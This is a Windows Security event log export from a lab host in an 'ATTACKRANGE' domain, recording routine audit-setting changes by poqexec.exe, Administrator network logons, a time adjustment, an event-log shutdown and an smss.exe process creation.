ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245746
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_d672ba09d81e87ff.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245745
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_fde55420546edfe6.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245744
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_cae2264614449191.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245743
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_fe5c6d762edd2110.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245742
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245741
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_elambkup_0bc02aa0c28485f3.cdf-ms
	Handle ID:	0x64

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245740
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_drivers_dc1b782427b5ee1b.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245739
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_a349059b05097caa.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245738
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_3f102d555ee05d33.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245737
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_21f9a9c4a2f8b514.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245736
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_21ffbdd2a2dd92e0.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245735
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245734
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245733
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF68DC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245732
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF68DC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245731
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245730
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245729
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF5115

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245728
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF5115

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245727
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF5115
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245726
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245725
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245724
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF4D20

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245723
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF4D20
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245722
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245721
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245720
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF498C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245719
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF498C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245718
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245717
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4616
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security State Change
OpCode=Info
RecordNumber=245752
Keywords=Audit Success
Message=The system time was changed.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	Process ID:	0x4e4
	Name:		C:\Windows\System32\svchost.exe

Previous Time:		‎2021‎-‎03‎-‎01T12:31:46.156139200Z
New Time:		‎2021‎-‎03‎-‎01T12:31:46.151000000Z

This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer.
03/11/2021 11:38:40 PM
LogName=Security
SourceName=Microsoft-Windows-Eventlog
EventCode=1100
EventType=4
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Service shutdown
OpCode=Info
RecordNumber=245751
Keywords=Audit Success
Message=The event logging service has shut down.
03/11/2021 11:39:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245756
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x274
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1bc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

